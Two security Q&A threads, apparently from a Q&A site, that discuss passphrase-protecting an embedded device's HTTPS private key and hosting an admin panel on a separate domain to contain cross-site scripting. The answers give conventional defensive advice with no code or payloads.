Should a private key be protected by a password even if the software using it needs to know that password? We have an embedded device running a web server. That web server uses HTTPS and so has a private certificate which is embedded on the device. Right now we are unsure if this private key should be password protected since that password will need to be embedded on that same device at some pont. If we don't, even the web server won't be able to load the key.

That being said, should we still add that extra thin layer of protection by adding on passphrase ton the private key?

Thanks

If the device has a way to keep the password separate from the key file (like in firmware) it will avoid abuse when someone can copy the key file out of the device. If the password resides in a script or a configuration file, it does not add much.


Is it reasonable to keep control panel in separate subdomain or domain? Since I'm quite beginner to information and websites security, I'd like to ask more experienced people about and idea, that just crossed my mind (probably isn't my original discovery! :]).

With introduction of so many new top-level domains, would it increase my website security, if I would move "control panel" to a separate subdomain or even top-level domain? For example:

all-users frontend: http://www.example.website,
admins-only backend: http://www.example.management.

Users are using first link only. They may even not be aware of the fact, that the other domain exists, as it can be further secured on server side, to disallow all traffic from outsite company network. Plus you don't have access to even a piece of management tools, if you login through first domain, you have access to your account's control panel only. But, never to anything related to entire website management.

For obvious reasons, both websites would use the same database (I don't take replication as an option here -- see end of text) and both top-level domains would most likely be parked on the same server / hosting (low cost project -- see end of text), but with a complete separation of each other.

This is proposed as contrary to "standard" websites, with RBAC system implemented, where -- if admin-level user logs in, he or she gains access not only to his or her account control panel, but also to entire website management tools, system toys etc. all based on determining his or her access rights.

Would implementation of separation of frontend and backend increase website security in any noticeable or reasonable way? Or would that be just a waste of time, money and resources?

One of my colleges claims, that nowadays intruders doesn't care for something like breaking into account or control panel or gaining someone's password. Nowadays intrusions are based on DDoS attacks  and physically "killing" server. If that is true, then my proposed solution  brings nothing. An effective attack would put down entire server, with both frontend and backend, no matter, how many domains it uses.

BTW: We're talking about low-class website, with up to 10k-100k users, a home-grown project, that turned out to become a bit more interesting. Hosted on one server. Without multi-server hosting, without database replication, without DDoS attack mittigation etc. We're not talking about another Facebook or this class service, as in this case they most likely have much, much better solutions than multi-domain.

Would implementation of separation of frontend and backend increase website security in any noticeable or reasonable way?

Yes. Splitting the interfaces over two hostnames—or indeed two port numbers or protocols (HTTP/HTTPS)—would give you two different JavaScript origins. This prevents any cross-site-scripting (XSS) attacks that are accessible on one site from automatically infecting into the other site.

For example if you had an HTML-injection vulnerability in your public site, it could include some JavaScript that automatically loaded the admin interface and simulated the user pressing the big red destroy-the-site button (or whatever other sensitive feature is there). If an administrator browsed the compromised public page whilst they had an active session on the admin site, the site goes boom.

With two different origins, the injected JavaScript on one origin cannot interact with the controls on the other, so the damage is limited to whatever can be done on the public site.

(As a side issue, having separate login sessions for each interface can also mitigate XSS and cross-site request forgery vulnerabilities, in that the administrator is less likely to be logged in to the admin site at the time they browse the public site. It's possible to have separate or combined login sessions either with or without different hostnames, but usually separate hostnames would give you separate logins unless you specifically worked around that.)

Separating internal-audience interfaces by hostname is generally a helpful mitigation for this reason, but of course cross-site scripting is only one minor facet of webapp security and you shouldn't imagine it gives you any protection against the other application and infrastructure security issues like DDoS.

(And yes, the comment about access control security being irrelevant because of DDoS is completely nonsensical. They are almost entirely unrelated attacks, done by different people for different reasons. How much you want to concentrate on countering each should be driven by the threat model for your application, but both kinds of attacks are commonplace and the existence of one is not an excuse to ignore the other. Typically a DoS alone is considered a lesser attack than intrusion or data loss, but again that would depend on the threat model—does an attacker have anything to gain by making your service unavailable? is it critical enough to cause serious inconvenience when it is down?)